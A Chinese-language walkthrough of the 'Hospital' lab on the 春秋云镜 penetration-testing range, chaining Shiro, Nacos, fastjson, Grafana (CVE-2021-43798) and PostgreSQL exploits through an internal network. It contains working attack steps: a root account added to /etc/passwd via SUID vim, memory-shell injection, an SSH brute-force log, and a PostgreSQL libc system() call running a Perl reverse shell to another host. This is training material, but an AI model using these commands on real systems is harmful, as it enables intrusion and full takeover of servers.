Hospital-春秋云镜

信息收集

python dirsearch.py -u 39.98.109.138:8080

可以看到有headump直接dump下来分析一波

存在shiro框架找到了shirokey 找漏洞利用工具弹shell

漏洞利用

直接使用shiro漏洞利用工具反弹shell或者注入内存马都行,这里直接注入冰蝎内存马,然后连接

suid提权

find / -perm -u=s -type f 2>/dev/null

利用vim.basic查看文件
vim.basic /root/flag/flag01.txt

有了这个能编辑文件加个特权账户,使用pwncat终端重新接收shell

1
2
3
4
5
6
back                                                      #返回shell  
vim.basic /etc/passwd                                     #利用提权文件编辑passwd文件
i                                                         #进入编辑模式
hacker:$1$123$7mft0jKnzzvAdU4t0unTG1:0:0:/root:/bin/bash  #创建用户hacker/123456
wq!                                                       #强制保存退出
su hacker

内网渗透

上传fscan 扫描内网

内网存在一个 nacos漏洞下载漏洞利用工具charonlight/NacosExploitGUI。编辑NacosExploitGUI-main\漏洞复现环境\nacos-client_yaml_deserialize\yaml-payload\src\artsploit\AwesomeScriptEngineFactory.java

修改其文件为添加管理员用户

根据他的bat里的命令重新编译一下会生成一个jar包,用冰蝎把它上传到受害机,然后用python开一个服务利用漏洞利用工具进行利用。

内网穿透

在利用之前先把代理搭起来用Stowaway
攻击端

受害端

搭建socks代理

漏洞利用

然后在tmp目录下起一个http服务结合漏洞利用框架进行利用


看看能否直接rdp上去

拿到第二个flag

前面在fscan扫描的时候还看到一个172.30.12.236:8080开启了一个服务访问看看,抓包

有json特征应该是是fastjson漏洞,测试一下发现了

使用插件可以直接执行命令,拿到第三个flag

执行ifconfig发现还存在内网,继续利用该插件注入内存马

可以发现是双网卡,在搭一层二级代理

Grafana文件读取漏洞

搭建成功。然后我们继续上传fscan去扫描 54这个网段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
./fscan -h 172.30.54.179/24  

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.3
start infoscan
(icmp) Target 172.30.54.179   is alive
(icmp) Target 172.30.54.12    is alive
[*] Icmp alive hosts len is: 2
172.30.54.179:8080 open
172.30.54.12:22 open
172.30.54.179:22 open
172.30.54.12:5432 open
172.30.54.12:3000 open
172.30.54.179:8009 open
[*] alive ports len is: 6
start vulscan
[*] WebTitle http://172.30.54.12:3000  code:302 len:29     title:None 跳转url: http://172.30.54.12:3000/login
[*] WebTitle http://172.30.54.179:8080 code:200 len:3964   title:医院后台管理平台
[*] WebTitle http://172.30.54.12:3000/login code:200 len:27909  title:Grafana
已完成 4/6 [-] ssh 172.30.54.179:22 root root@111 ssh: handshake failed: ssh: un
已完成 4/6 [-] ssh 172.30.54.179:22 root 1qaz2wsx ssh: handshake failed: ssh: un
已完成 4/6 [-] ssh 172.30.54.12:22 root 1qaz!QAZ ssh: handshake failed: ssh: una
已完成 4/6 [-] ssh 172.30.54.179:22 admin admin123 ssh: handshake failed: ssh: u
已完成 4/6 [-] ssh 172.30.54.179:22 admin 1234567890 ssh: handshake failed: ssh:
已完成 4/6 [-] ssh 172.30.54.179:22 admin 1q2w3e ssh: handshake failed: ssh: una
已完成 6/6
[*] 扫描结束,耗时: 6m48.2826514s

可以看到存在一个服务访问一下

存在Grafana文件读取漏洞(CVE-2021-43798)
https://github.com/A-D-Team/grafanaExp 漏洞利用工具下载下来上传到受控机器然后执行

postgresql getshell

获取到用户名和密码直接navicat连接查询

直接修改密码ALTER USER root WITH PASSWORD '123456';然后反弹shell

PostgreSQL <= 8.1 可以通过调用系统的动态链接库 libc.so.6 来实现命令执行
参考:
https://tttang.com/archive/1547/#toc_0x06-postgresql
https://blog.csdn.net/qq_33020901/article/details/79032774

1
2
3
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; select system('curl 172.30.54.179');

select system('perl -e \'use Socket;$i="172.30.54.179";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

然后提权

直接连接输入 \?之后在输入!/bin/bash就可以到root权限了直接读flag文件

参考:
https://mp.weixin.qq.com/s/Fo2bWRnLj9F_IgFNnt3nRA
https://fushuling.com/index.php/2024/01/06/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-hospital/